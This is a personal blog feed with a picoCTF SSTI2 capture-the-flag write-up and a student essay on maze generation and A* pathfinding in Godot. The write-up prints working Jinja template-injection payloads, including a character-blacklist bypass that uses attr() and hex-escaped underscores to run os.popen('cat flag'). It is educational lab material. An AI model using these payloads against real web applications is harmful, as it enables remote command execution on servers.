<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="4.1.1">Jekyll</generator><link href="https://aidanvoidout.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://aidanvoidout.github.io/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2026-03-13T13:00:38+08:00</updated><id>https://aidanvoidout.github.io/feed.xml</id><title type="html">aidans scribbles</title><subtitle>hi i write about random stuff thats on my mind lol sometimes its profound stuff but usually its not</subtitle><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><entry><title type="html">picoctf ssti writeups</title><link href="https://aidanvoidout.github.io/ssti/" rel="alternate" type="text/html" title="picoctf ssti writeups" /><published>2026-03-12T10:29:20+08:00</published><updated>2026-03-12T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/ssti</id><content type="html" xml:base="https://aidanvoidout.github.io/ssti/"><![CDATA[<p>Havent posted here in like four months wow ok anyways</p>
<h3 id="heres-my-ssti2-writeup-dont-kill-me-branson">heres my ssti2 writeup dont kill me branson</h3>

<p><img src="1.png" alt="front page" /></p>

<p><img src="2.png" alt="attempt" /></p>

<p>When you submit the form, it is submitted to the /announce endpoint and rendered as a h2</p>

<p>Test for template evaluation using:
<code class="language-plaintext highlighter-rouge">{{11*6+1}}</code>
If the template engine is evaluating expressions, this should return:
<img src="3.png" alt="67" />
(mandatory 67 joke)</p>

<p>Since the page renders 67, we know the input is being interpreted as a Jinja template expression, confirming the presence of SSTI.</p>

<p>Use the same payload as SSTI1 in order to try and read the flag:</p>

<p><code class="language-plaintext highlighter-rouge">{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read() }}</code></p>

<p><img src="4.png" alt="break" /></p>

<p>Clearly theres some sort of filter going on here</p>

<p><img src="5.png" alt="alt text" /></p>

<p>There is a character blacklist.</p>

<p>Regarding this hint, blacklisting characters is considered a bad input sanitisation strategy because it tries to block known bad patterns, but attackers can almost always find alternative ways to express the same thing. This approach is fragile because programming languages often allow multiple ways to represent the same operation.</p>

<h3 id="test-for-the-blocked-characters">test for the blocked characters</h3>

<p><code class="language-plaintext highlighter-rouge">{{ _ }}</code> and <code class="language-plaintext highlighter-rouge">{{ . }}</code> are both blocked. In order to make our payload go through, we have to find substitutes for these characters.</p>

<p><code class="language-plaintext highlighter-rouge">.</code> is used to access attributes of objects, like <code class="language-plaintext highlighter-rouge">os.system('cls')</code>. In order to bypass this, we can replace it with the usage of <code class="language-plaintext highlighter-rouge">attr</code>.</p>

<p><code class="language-plaintext highlighter-rouge">_</code> is used in the Python internal classes, like <code class="language-plaintext highlighter-rouge">__builtins__</code>. In order to bypass this, we can use hex encoding: <code class="language-plaintext highlighter-rouge">_</code> becomes <code class="language-plaintext highlighter-rouge">\x5f</code>. Jinja strings follow Python string semantics. This means escape sequences such as: <code class="language-plaintext highlighter-rouge">\x5f</code> are interpreted as <code class="language-plaintext highlighter-rouge">_</code>. Therefore, <code class="language-plaintext highlighter-rouge">\x5f\x5finit\x5f\x5f</code> is evaluated at runtime as <code class="language-plaintext highlighter-rouge">__init__</code>.</p>

<p>Because of this flexibility, we can often reconstruct blocked characters or syntax at runtime using such workarounds.</p>

<h3 id="make-the-payload-pt-1">make the payload (pt. 1)</h3>

<p>Make the necessary changes, and the payload becomes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{{ 
    self|
    attr('\x5f\x5finit\x5f\x5f')|
    attr('\x5f\x5fglobals\x5f\x5f')|
    attr('\x5f\x5fbuiltins\x5f\x5f')|
    attr('\x5f\x5fimport\x5f\x5f')('os')|
    attr('popen')('cat flag')|
    attr('read')() 
}}
</code></pre></div></div>

<p><img src="6.png" alt="error" /></p>

<h3 id="backtrack">backtrack</h3>

<p>Something’s wrong. Let’s backtrack through the payload:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{{ 
    self|
    attr('\x5f\x5finit\x5f\x5f')|
    attr('\x5f\x5fglobals\x5f\x5f')|
    attr('\x5f\x5fbuiltins\x5f\x5f')
}}
</code></pre></div></div>

<p>Still an error. Backtrack again:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{{ 
    self|
    attr('\x5f\x5finit\x5f\x5f')|
    attr('\x5f\x5fglobals\x5f\x5f') 
}}
</code></pre></div></div>

<p><img src="7.png" alt="ah" />
as shown by the highlight, unlike the other packages, in this situation <code class="language-plaintext highlighter-rouge">__builtins__</code> is a dictionary, not a path to the module. This matters because the next step of the exploit assumes attribute access:</p>

<p><code class="language-plaintext highlighter-rouge">__builtins__.__import__</code></p>

<p>Therefore, this exploit path probably won’t work.</p>

<h3 id="using-the-module">using the module</h3>

<p>In Python, dictionary indexing is done using <code class="language-plaintext highlighter-rouge">dict[key]</code>, and it is internally implemented using <code class="language-plaintext highlighter-rouge">dict.__getitem__(key)</code>. Therefore, <code class="language-plaintext highlighter-rouge">globals['__builtins__']</code> is equivalent to <code class="language-plaintext highlighter-rouge">globals.__getitem__('__builtins__')</code>.</p>

<p>To get the module from <code class="language-plaintext highlighter-rouge">__builtins__</code>, we would have to do something along the lines of <code class="language-plaintext highlighter-rouge">__globals__['__builtins__']</code>. However, the characters <code class="language-plaintext highlighter-rouge">[</code> and <code class="language-plaintext highlighter-rouge">]</code> are blocked as well.</p>

<p>Instead, we can try <code class="language-plaintext highlighter-rouge">getitem</code> instead:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{{ 
    self|
    attr('\x5f\x5finit\x5f\x5f')|
    attr('\x5f\x5fglobals\x5f\x5f')|
    attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|
    attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|
    attr('popen')('cat flag')|
    attr('read')() 
}}
</code></pre></div></div>

<p><img src="8.png" alt="flag" /></p>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[Havent posted here in like four months wow ok anyways heres my ssti2 writeup dont kill me branson]]></summary></entry><entry><title type="html">pathfinding</title><link href="https://aidanvoidout.github.io/pathfinding/" rel="alternate" type="text/html" title="pathfinding" /><published>2025-11-10T10:29:20+08:00</published><updated>2025-11-10T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/pathfinding</id><content type="html" xml:base="https://aidanvoidout.github.io/pathfinding/"><![CDATA[<h1 id="sil---exploring-mazes-and-pathfinding---graph-theory-and-shortest-path-algorithms">SIL - Exploring Mazes and Pathfinding - Graph Theory and Shortest Path Algorithms</h1>

<p>(hi teachers this is my SIL, I did this so that the tooltips and whatnot could be customised to my liking and so that the demo could embed directly into the main page, if any issues please let me know)</p>

<p>I chose to explore maze generation and pathfinding because the subject combines rigorous mathematics, algorithmic logic, and a surprising amount of creativity. A maze looks deliberately complex, yet many maze algorithms rely only on simple graph concepts and a bit of randomness. Likewise, pathfinding algorithms such as A* and Dijkstra’s find optimal routes even though their decisions are made one step at a time. Programming these algorithms and watching them run side-by-side turned abstract definitions into living processes for me — the math began to feel tangible. I was also drawn by the clear real-world links: GPS route planning, robotic navigation and procedurally generated game levels all use the same core ideas.</p>

<p>As with last year’s SIL, I vibe coded a demo. If godot didnt mess up, it should be rendered below.</p>

<div class="game-container">
  <div class="game-aspect">
    <iframe src="/static/demos/pathfinding/Pathfinding.html" frameborder="0" allowfullscreen=""></iframe>
  </div>
</div>

<p>While researching on this topic, I found this interesting youtube short, which was a direct reference for the demo.</p>

<iframe width="315" height="560" src="https://www.youtube.com/embed/cQ-39OHWA2k" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe>

<h2 id="graph-theory">Graph theory</h2>

<p>In graph theory, we study objects called graphs, which consist of vertices (or nodes) connected by <span class="tooltip" data-tooltip="A connection between two nodes.">edges</span>
. A maze can be modelled with graphs. Every cell becomes a vertex, and every removed wall creates an edge between two vertices. For example:</p>

<p>A path is simply a sequence of adjacent vertices.</p>

<p>A <span class="tooltip" data-tooltip="A path that starts and ends at the same node.">cycle</span>
 is a closed path where you can return to the start without repeating edges.</p>

<p>A graph is connected if there is a path between any two vertices.</p>

<p>A tree is a connected graph with no cycles.</p>

<p>The grid itself, before walls are carved, is a special type of graph called a lattice graph — specifically a 2D rectangular lattice where each node has up to 4 neighbours. This graph is regular and predictable, but once walls are removed using an algorithm, the structure becomes far more interesting.</p>

<p>Representing a maze as a graph matters because the algorithms I used, A* and Dijkstra, all operate on graphs. They don’t care whether the graph came from a maze, a road network, or a social network. This abstraction is what allows these ideas to apply to everything from Google Maps to neural network architectures.</p>

<p>Graph theory provides useful tools for analysing the behaviour of the maze:</p>

<p>The maze generated by DFS Backtracking is guaranteed to be a spanning tree: a subgraph that connects all vertices with no cycles. This property mathematically ensures a unique solution path between any two points.</p>

<p>The absence of cycles makes the complexity of pathfinding easier to analyse, because algorithms like A* operate more predictably on trees.</p>

<p>The structure of the graph affects the search space: long corridors reduce branching factor, while dense branching increases it. Branching factor directly affects the time complexity of pathfinding algorithms.</p>

<p>Understanding these properties helped me see why different algorithms behave differently even on the same maze: the mathematics of the graph strongly influences the mathematics of the search.</p>

<h2 id="maze-generation">Maze Generation</h2>
<p>The DFS Backtracking algorithm is a direct application of depth-first traversal in graph theory. Traversal means systematically visiting all nodes of a graph, and DFS proceeds by always moving as far as possible along one branch before backtracking.</p>

<p>In mathematical terms, DFS explores the graph in a manner equivalent to a preorder tree traversal. When applied to maze generation, we treat each cell as a node and each potential passage as an edge. The algorithm builds the maze by gradually constructing a spanning tree of the <span class="tooltip" data-tooltip="A graph where nodes represent grid cells and edges connect adjacent cells.">grid graph</span>.</p>

<p>DFS can be expressed recursively, but internally it always relies on a stack which is a last-in–first-out data structure, where both inputs and outputs are from the same end of the structure. This structure is essential because it ensures that backtracking happens in the reverse order of exploration.</p>

<p>At each step, the algorithm chooses a random unvisited neighbour. Random choice introduces non-determinism, which means that the algorithm can generate exponentially many possible spanning trees. This relates to a known concept in combinatorics: the number of spanning trees of a graph grows rapidly with graph size. On an n×n grid, the number is enormous — far too large to compute manually — which explains why each maze looks unique.</p>

<p>Because DFS never creates cycles, the final structure is always a tree. Trees have useful mathematical characteristics:
Exactly V−1 edges for V vertices.</p>

<p>A unique simple path between any two vertices.</p>

<p>Average path length (tree height) depends on randomness and traversal behaviour.</p>

<p>This explains why DFS mazes tend to have long, winding corridors. The DFS procedure tends to create long branches before backtracking, meaning the resulting spanning tree is fairly “deep.” This property can even be analysed statistically: DFS mazes have a characteristic path-length distribution that differs from Prim’s or Kruskal’s mazes.
Understanding the maze as a spanning tree gave me a clear mathematical reason for the maze’s visual and navigational behaviour.</p>

<p>This was done in my simulation through the below approach.</p>

<hr />

<p>A maze of size ( w \times h ) is represented as a graph:</p>

<ul>
  <li>Each cell is a <strong>vertex</strong>.</li>
  <li>Between any two adjacent cells, there is a possible <strong>edge</strong>.</li>
  <li>Initially, all edges are “blocked” by walls.</li>
</ul>

<p>Formally:</p>

<p>[
G = (V, E)
]</p>

<p>where</p>

<ul>
  <li>
    <table>
      <tbody>
        <tr>
          <td>(</td>
          <td>V</td>
          <td>= w \cdot h )</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>Each vertex has up to 4 neighbors:
[
\text{deg}(v) \le 4
]</li>
</ul>

<p>The list:</p>

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="n">DIRS</span> <span class="p">:</span><span class="o">=</span> <span class="p">[</span>
    <span class="n">Vector2i</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span>  <span class="c1"># up</span>
    <span class="n">Vector2i</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>   <span class="c1"># right</span>
    <span class="n">Vector2i</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>   <span class="c1"># down</span>
    <span class="n">Vector2i</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>   <span class="c1"># left</span>
<span class="p">]</span>
</code></pre></div></div>

<p>encodes the <strong>adjacency relation</strong> between vertices. This is equivalent to defining the <strong>edge set</strong> mathematically as:</p>

<p>[
E = {(v, v + d) \mid d \in \text{DIRS and within grid}}
]</p>

<h3 id="maze-representation"><strong>Maze Representation</strong></h3>

<p>Each cell stores:</p>

<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">up</span><span class="p">,</span> <span class="n">right</span><span class="p">,</span> <span class="n">down</span><span class="p">,</span> <span class="n">left</span><span class="p">]</span>
</code></pre></div></div>

<p>with:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">true</code>  → wall exists (edge is blocked)</li>
  <li><code class="language-plaintext highlighter-rouge">false</code> → passage (edge is open)</li>
</ul>

<p>This is equivalent to storing the <strong>adjacency matrix</strong> of a planar grid graph but compressed per vertex.</p>

<hr />

<p>The algorithm used is <strong>DFS Backtracking</strong>, which mathematically produces a random spanning treeof the grid graph.</p>

<p>A perfect maze must have:</p>

<ul>
  <li>exactly one unique path between any two cells
→ meaning no cycles</li>
  <li>all cells reachable
→ meaning connected</li>
</ul>

<p>A structure that is connected and cycle-free is, by definition, a <strong>tree</strong>.</p>

<p>Thus the algorithm constructs a spanning tree.</p>

<h3 id="algorithm-description-mathematical-form"><strong>Algorithm Description (Mathematical Form)</strong></h3>

<p>The algorithm:</p>

<ol>
  <li>Choose a start vertex ( v_0 ).</li>
  <li>
    <p>Repeatedly:</p>

    <ul>
      <li>Look for an <em>unvisited neighbor</em> ( u in N(v) ).</li>
      <li>Choose one randomly.</li>
      <li>Add edge ( (v, u) ) to the spanning tree.</li>
      <li>Move to ( u ).</li>
    </ul>
  </li>
  <li>If a vertex has no unvisited neighbors, backtrack.</li>
</ol>

<p>This is equivalent to performing DFS on an undirected graph, but with randomized choices.</p>

<p>More formally:</p>

<p><code class="language-plaintext highlighter-rouge">[
T = { (v, Next(v)) during DFS traversal }
]</code></p>

<p>Because DFS never revisits a cell and never adds an edge to an already-visited vertex, cycles cannot form.</p>

<hr />

<p>This code:</p>

<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">var</span> <span class="nv">unvisited_neighbors</span> <span class="p">:</span><span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="k">in</span> <span class="nf">range</span><span class="p">(</span><span class="kt">DIRS</span><span class="o">.</span><span class="nf">size</span><span class="p">()):</span>
    <span class="k">var</span> <span class="nv">nx</span> <span class="o">=</span> <span class="n">current</span><span class="o">.</span><span class="n">x</span> <span class="o">+</span> <span class="kt">DIRS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">x</span>
    <span class="k">var</span> <span class="nv">ny</span> <span class="o">=</span> <span class="n">current</span><span class="o">.</span><span class="n">y</span> <span class="o">+</span> <span class="kt">DIRS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">y</span>
    <span class="k">if</span> <span class="n">nx</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="n">and</span> <span class="n">nx</span> <span class="o">&lt;</span> <span class="n">width</span> <span class="n">and</span> <span class="n">ny</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="n">and</span> <span class="n">ny</span> <span class="o">&lt;</span> <span class="nv">height</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">not</span> <span class="n">visited</span><span class="p">[</span><span class="n">ny</span><span class="p">][</span><span class="n">nx</span><span class="p">]:</span>
            <span class="n">unvisited_neighbors</span><span class="o">.</span><span class="nf">append</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</code></pre></div></div>

<p>mathematically checks:</p>

<p>This is a classical neighbor set:</p>

<p>[
N(v) = { v + d in DIRS }
]</p>

<p>restricted by grid boundaries.</p>

<p>The “grid boundary” condition defines the domain of the graph.</p>

<hr />

<p>This line:</p>

<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">var</span> <span class="nv">dir_index</span> <span class="o">=</span> <span class="n">unvisited_neighbors</span><span class="p">[</span><span class="n">rng</span><span class="o">.</span><span class="nf">randi_range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">unvisited_neighbors</span><span class="o">.</span><span class="nf">size</span><span class="p">()</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)]</span>
</code></pre></div></div>

<p>implements a <strong>uniform random selection</strong> from a discrete set.</p>

<p>This randomness ensures the spanning tree produced is not deterministic unless seeded.</p>

<hr />

<p>When the algorithm chooses a neighbor and moves there, it “knocks down” walls:</p>

<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">grid</span><span class="p">[</span><span class="n">current</span><span class="o">.</span><span class="n">y</span><span class="p">][</span><span class="n">current</span><span class="o">.</span><span class="n">x</span><span class="p">][</span><span class="n">dir_index</span><span class="p">]</span> <span class="o">=</span> <span class="kc">false</span>
<span class="n">grid</span><span class="p">[</span><span class="n">next</span><span class="o">.</span><span class="n">y</span><span class="p">][</span><span class="n">next</span><span class="o">.</span><span class="n">x</span><span class="p">][</span><span class="n">opposite</span><span class="p">]</span> <span class="o">=</span> <span class="kc">false</span>
</code></pre></div></div>

<p>The <strong>opposite direction</strong> uses modular arithmetic:</p>

<p>[
opposite = (i + 2) \mod 4
]</p>

<p>This matches the fact that grid directions are symmetric:</p>

<ul>
  <li>up ↔ down</li>
  <li>right ↔ left</li>
</ul>

<hr />

<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">var</span> <span class="nv">stack</span><span class="p">:</span> <span class="kt">Array</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">stack</span><span class="o">.</span><span class="nf">append</span><span class="p">(</span><span class="n">start</span><span class="p">)</span>
</code></pre></div></div>

<p>The DFS stack represents the <strong>recursion</strong> structure of DFS.</p>

<p>Whenever the algorithm backtracks:</p>

<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">stack</span><span class="o">.</span><span class="nf">pop_back</span><span class="p">()</span>
</code></pre></div></div>

<p>this is equivalent to returning from a recursive DFS call.</p>

<hr />

<p>When the algorithm terminates:</p>

<ul>
  <li>The visited set contains all vertices → <strong>connected</strong></li>
  <li>No cell was visited twice → <strong>acyclic</strong></li>
  <li>There are exactly ( w \cdot h - 1 ) passages
(edges in a spanning tree)</li>
</ul>

<p>Thus the maze is guaranteed to be a <strong>perfect maze</strong>—
one path between any two points.</p>

<h2 id="a-pathfinding">A* Pathfinding</h2>
<p>A* is essentially an optimisation algorithm that solves the shortest-path problem using both real and estimated information. It is built on the idea of best-first search, but mathematically enhanced by evaluating each node using the formula:
f(n)=g(n)+h(n) where g(n) is the known cost so far, h(n) is the heuristic, a mathematical estimate of future cost and f(n) is the total estimated cost of the best path passing through n.</p>

<p>The mathematical strength of A* comes from its use of heuristics.</p>

<ol>
  <li>Admissibility
    <ul>
      <li>A heuristic h(n) is admissible if it never overestimates the true cost to reach the goal. For <span class="tooltip" data-tooltip="Distance measured only by horizontal and vertical movement (|x1 – x2| + |y1 – y2|).">Manhattan distance</span>
 on a grid, this is true because each move reduces the Manhattan distance by at most 1. By guaranteeing h(n)≤h*(n) (where h*(n)h^*(n)h*(n) is the true optimal cost), A* is mathematically guaranteed to find an optimal path.</li>
    </ul>
  </li>
  <li>Consistency (Monotonicity)
    <ul>
      <li>A heuristic is consistent if:</li>
      <li>h(n)≤cost(n,n′)+h(n′)h(n) - 
This ensures the estimated total cost f(n) never decreases along a path. Consistency means A* never needs to revisit a node once it has found the best path to it. This reduces time complexity significantly.</li>
    </ul>
  </li>
  <li>Search-space reduction
    <ul>
      <li>One of the most mathematically powerful aspects of A* is the reduction in explored nodes. Without a heuristic, Dijkstra explores in all directions equally. A* explores a cone of directions that point roughly toward the goal.
The branching factor and depth determine the theoretical complexity:
Dijkstra: O(bd) in the worst case.
A*: O(bd−k), where k depends on heuristic strength.</li>
    </ul>
  </li>
</ol>

<p>Thus, even a simple heuristic dramatically improves efficiency.</p>

<ol>
  <li>Relationship to optimisation
    <ul>
      <li>A* can be viewed as minimising a cost function. In optimisation terms, it finds the path that minimises the energy f(n). This parallels gradient descent and other optimisation algorithms, showing how deep the mathematical connections run.</li>
    </ul>
  </li>
</ol>

<p>This was done with the below code.</p>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">extends</span> <span class="n">Node</span>
<span class="k">class_name</span> <span class="n">Solver</span>

<span class="k">signal</span> <span class="n">path_updated</span><span class="p">(</span><span class="n">path</span><span class="p">:</span> <span class="kt">Array</span><span class="p">)</span>
<span class="k">signal</span> <span class="n">open_closed_updated</span><span class="p">(</span><span class="n">open_set</span><span class="p">:</span> <span class="kt">Array</span><span class="p">,</span> <span class="n">closed_set</span><span class="p">:</span> <span class="kt">Array</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>What this does</strong></p>

<ul>
  <li>Declares a base <code class="language-plaintext highlighter-rouge">Solver</code> node you can reuse/extend.</li>
  <li>
    <p>Defines two signals:</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">path_updated(path)</code> — emitted when a full path is reconstructed (used by UI to draw the path).</li>
      <li><code class="language-plaintext highlighter-rouge">open_closed_updated(open_set, closed_set)</code> — emitted each step so UI can display the current open/closed sets.</li>
    </ul>
  </li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">var</span> <span class="n">astar</span><span class="p">:</span> <span class="n">AStar2D</span>
<span class="k">var</span> <span class="n">width</span><span class="p">:</span> <span class="kt">int</span>
<span class="k">var</span> <span class="n">height</span><span class="p">:</span> <span class="kt">int</span>

<span class="k">var</span> <span class="n">start_id</span><span class="p">:</span> <span class="kt">int</span>
<span class="k">var</span> <span class="n">goal_id</span><span class="p">:</span> <span class="kt">int</span>

<span class="k">var</span> <span class="n">open_set</span><span class="p">:</span> <span class="kt">Array</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">var</span> <span class="n">closed_set</span><span class="p">:</span> <span class="kt">Array</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">var</span> <span class="n">came_from</span><span class="p">:</span> <span class="kt">Dictionary</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">var</span> <span class="n">g_score</span><span class="p">:</span> <span class="kt">Dictionary</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">var</span> <span class="n">f_score</span><span class="p">:</span> <span class="kt">Dictionary</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">var</span> <span class="n">path_computed</span><span class="p">:</span> <span class="kt">bool</span> <span class="o">=</span> <span class="bp">false</span>
<span class="k">var</span> <span class="n">current_path</span><span class="p">:</span> <span class="kt">Array</span> <span class="o">=</span> <span class="p">[]</span>
</code></pre></div></div>

<p><strong>State / data structures</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">astar</code>: reference to an <code class="language-plaintext highlighter-rouge">AStar2D</code> graph helper (provides neighbor lists and position lookup).</li>
  <li><code class="language-plaintext highlighter-rouge">width</code>, <code class="language-plaintext highlighter-rouge">height</code>: grid dimensions — used to convert between <code class="language-plaintext highlighter-rouge">(x,y)</code> and linear node IDs.</li>
  <li><code class="language-plaintext highlighter-rouge">start_id</code>, <code class="language-plaintext highlighter-rouge">goal_id</code>: integer IDs for start/goal nodes (IDs are computed as <code class="language-plaintext highlighter-rouge">y * width + x</code>).</li>
  <li><code class="language-plaintext highlighter-rouge">open_set</code>: nodes to be considered (frontier). For A*, this is usually a priority queue, but here it’s a plain <code class="language-plaintext highlighter-rouge">Array</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">closed_set</code>: nodes already processed.</li>
  <li><code class="language-plaintext highlighter-rouge">came_from</code>: <code class="language-plaintext highlighter-rouge">Dictionary</code> mapping <code class="language-plaintext highlighter-rouge">node -&gt; predecessor</code> for path reconstruction.</li>
  <li><code class="language-plaintext highlighter-rouge">g_score</code>: <code class="language-plaintext highlighter-rouge">Dictionary</code> mapping <code class="language-plaintext highlighter-rouge">node -&gt; cost from start</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">f_score</code>: <code class="language-plaintext highlighter-rouge">Dictionary</code> mapping <code class="language-plaintext highlighter-rouge">node -&gt; g + heuristic</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">path_computed</code>: flag indicating algorithm finished (found path or exhausted).</li>
  <li><code class="language-plaintext highlighter-rouge">current_path</code>: final path as an array of <code class="language-plaintext highlighter-rouge">Vector2i</code> positions.</li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="nf">setup</span><span class="p">(</span><span class="n">astar_ref</span><span class="p">:</span> <span class="n">AStar2D</span><span class="p">,</span> <span class="n">w</span><span class="p">:</span> <span class="kt">int</span><span class="p">,</span> <span class="n">h</span><span class="p">:</span> <span class="kt">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">void</span><span class="p">:</span>
	<span class="n">astar</span> <span class="o">=</span> <span class="n">astar_ref</span>
	<span class="n">width</span> <span class="o">=</span> <span class="n">w</span>
	<span class="n">height</span> <span class="o">=</span> <span class="n">h</span>
</code></pre></div></div>

<p><strong>setup</strong></p>

<ul>
  <li>Stores references to the <code class="language-plaintext highlighter-rouge">AStar2D</code> helper and grid dimensions.</li>
  <li>Call this once before solving.</li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="nf">start_solver</span><span class="p">(</span><span class="n">start</span><span class="p">:</span> <span class="n">Vector2i</span><span class="p">,</span> <span class="n">goal</span><span class="p">:</span> <span class="n">Vector2i</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">void</span><span class="p">:</span>
	<span class="n">start_id</span> <span class="o">=</span> <span class="n">start</span><span class="o">.</span><span class="n">y</span> <span class="o">*</span> <span class="n">width</span> <span class="o">+</span> <span class="n">start</span><span class="o">.</span><span class="n">x</span>
	<span class="n">goal_id</span> <span class="o">=</span> <span class="n">goal</span><span class="o">.</span><span class="n">y</span> <span class="o">*</span> <span class="n">width</span> <span class="o">+</span> <span class="n">goal</span><span class="o">.</span><span class="n">x</span>

	<span class="n">open_set</span><span class="o">.</span><span class="n">clear</span><span class="p">()</span>
	<span class="n">closed_set</span><span class="o">.</span><span class="n">clear</span><span class="p">()</span>
	<span class="n">came_from</span><span class="o">.</span><span class="n">clear</span><span class="p">()</span>
	<span class="n">g_score</span><span class="o">.</span><span class="n">clear</span><span class="p">()</span>
	<span class="n">f_score</span><span class="o">.</span><span class="n">clear</span><span class="p">()</span>
	<span class="n">current_path</span><span class="o">.</span><span class="n">clear</span><span class="p">()</span>
	<span class="n">path_computed</span> <span class="o">=</span> <span class="bp">false</span>

	<span class="n">initialize_open_set</span><span class="p">()</span>
	<span class="n">emit_signal</span><span class="p">(</span><span class="s2">"open_closed_updated"</span><span class="p">,</span> <span class="n">open_set</span><span class="p">,</span> <span class="n">closed_set</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>start_solver</strong></p>

<ul>
  <li>Converts <code class="language-plaintext highlighter-rouge">Vector2i</code> positions to linear node IDs using <code class="language-plaintext highlighter-rouge">id = y * width + x</code>.</li>
  <li>Clears all previous state so the solver starts fresh.</li>
  <li>Calls <code class="language-plaintext highlighter-rouge">initialize_open_set()</code> — an overridable method where different algorithms put the initial node(s) into <code class="language-plaintext highlighter-rouge">open_set</code> and set initial scores.</li>
  <li>Emits <code class="language-plaintext highlighter-rouge">open_closed_updated</code> so a UI or visualizer can immediately show the starting frontier.</li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Override this in child classes</span>
<span class="k">func</span> <span class="nf">initialize_open_set</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="n">void</span><span class="p">:</span>
	<span class="k">pass</span>
</code></pre></div></div>

<p><strong>initialize_open_set</strong></p>

<ul>
  <li>Meant to be implemented by subclasses (e.g., A* puts the start in <code class="language-plaintext highlighter-rouge">open_set</code> and sets <code class="language-plaintext highlighter-rouge">g_score</code>/<code class="language-plaintext highlighter-rouge">f_score</code>).</li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="nf">step_solver</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="kt">bool</span><span class="p">:</span>
	<span class="k">if</span> <span class="n">path_computed</span> <span class="ow">or</span> <span class="n">open_set</span><span class="o">.</span><span class="n">is_empty</span><span class="p">():</span>
		<span class="n">path_computed</span> <span class="o">=</span> <span class="bp">true</span>
		<span class="k">return</span> <span class="bp">true</span>

	<span class="k">var</span> <span class="n">current</span> <span class="p">:</span><span class="o">=</span> <span class="n">pick_next_node</span><span class="p">()</span>
	<span class="k">if</span> <span class="n">current</span> <span class="o">==</span> <span class="n">goal_id</span><span class="p">:</span>
		<span class="n">reconstruct_path</span><span class="p">(</span><span class="n">current</span><span class="p">)</span>
		<span class="n">path_computed</span> <span class="o">=</span> <span class="bp">true</span>
		<span class="k">return</span> <span class="bp">true</span>

	<span class="n">move_current_to_closed</span><span class="p">(</span><span class="n">current</span><span class="p">)</span>

